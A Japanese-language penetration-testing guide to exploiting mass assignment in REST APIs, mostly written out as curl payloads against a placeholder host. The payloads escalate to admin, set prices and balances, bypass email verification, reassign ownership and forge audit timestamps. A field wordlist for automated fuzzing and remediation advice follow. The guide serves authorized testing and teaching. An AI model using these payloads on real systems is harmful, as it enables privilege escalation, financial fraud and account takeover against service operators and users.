exploiting-mass-assignment-in-rest-apis

REST API におけるマスアサインメントの悪用

使用する場面

• リソースの作成や更新で JSON 入力を受け付ける REST API をテストするとき
• ORM フレームワーク（Rails、Django、Laravel、Spring）を使用するアプリケーションの API セキュリティ評価時
• ユーザー登録、プロフィール更新、アカウント管理のエンドポイントをテストするとき
• CRUD API 操作を備えたアプリケーションを対象にバグバウンティを行うとき
• API 主導型アプリケーションにおけるロールベースのアクセス制御の実装を評価するとき

前提条件

• API リクエストの作成と傍受に使用する Burp Suite または Postman
• 一般的なフレームワークにおける ORM の自動バインド動作に関する理解
• API ドキュメント、または偵察によるエンドポイントの特定
• テスト用の、権限レベルが異なる複数のユーザーアカウント
• よくある機密フィールド（role、isAdmin、verified、balance、price）に関する知識
• 非表示パラメーターの特定に使用する Arjun または param-miner

法的通知： このスキルは、許可を得たセキュリティテストと教育目的にのみ使用してください。所有していないシステム、またはテストする書面での許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター犯罪法に違反する可能性があります。

ワークフロー

ステップ 1 — API 構造とフィールドを特定する

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

ステップ 2 — ロールフィールドを利用した権限昇格をテストする

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"[email protected]","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"[email protected]","role":"admin","isAdmin":true}'

ステップ 3 — 金融およびビジネスロジックのフィールドをテストする

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

ステップ 4 — 認証とステータスのフィールドをテストする

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

ステップ 5 — リレーションシップと外部キーの操作をテストする

# Change resource ownership
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

# Assign to different group/team
curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

# Modify created_at/updated_at for audit log manipulation
curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'

ステップ 6 — マスアサインメントのテストを自動化する

# Use Burp Intruder with field names wordlist
# Wordlist of common mass assignment fields:
# role, admin, isAdmin, is_admin, user_type, privilege, level
# verified, email_verified, active, banned, suspended
# balance, credits, price, discount, plan, tier
# owner_id, organization_id, team_id, group_id

# Python automation script
python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

# Nuclei mass assignment templates
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml

主な概念

概念	説明
マスアサインメント	制限を設けずに、リクエストパラメーターをモデル属性に自動バインドする ORM の機能
自動バインド	HTTP パラメーターをオブジェクトのプロパティに直接マッピングするフレームワークの機能
許可リスト	更新操作で許可するフィールドのサーバー側リスト（Rails の strong_parameters）
拒否リスト	禁止するフィールドのリスト（許可リスト方式よりセキュリティが低い）
非表示フィールド	フォームには表示されないが API では受け付ける、サーバー管理のフィールド（role、balance）
DTO（データ転送オブジェクト）	マスアサインメントを防ぐため、入力用とデータベース用に別々のオブジェクトを使用するパターン
パラメーター汚染	正当なパラメーターとともに、予期しない追加パラメーターを送信すること

ツールとシステム

ツール	用途
Burp Suite	API リクエストの傍受とパラメーターの注入
Postman	API テストとコレクションを使用したマスアサインメントのテスト
Arjun	API エンドポイントの非表示パラメーターを特定するツール
param-miner	非表示パラメーターを特定する Burp 拡張機能
OWASP ZAP	パラメーター注入を使用した API の自動スキャン
swagger-codegen	テスト用に OpenAPI 仕様から API クライアントを生成

よくあるシナリオ

1. 管理者権限への昇格 — プロフィール更新時に "role":"admin" または "isAdmin":true を注入して、管理者アクセス権を取得する
2. 価格の操作 — 注文作成エンドポイントで price または discount フィールドを変更し、商品を割引価格で購入する
3. メール認証の回避 — 登録時またはプロフィール更新時に email_verified:true を設定し、認証要件を回避する
4. アカウントの乗っ取り — email または phone フィールドを攻撃者が制御する値に変更し、その後パスワードリセットを実行する
5. サブスクリプションのアップグレード — サブスクリプション更新時に plan:"enterprise" を注入し、支払いなしでプレミアム機能を利用する

出力形式

## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)

### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |

### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields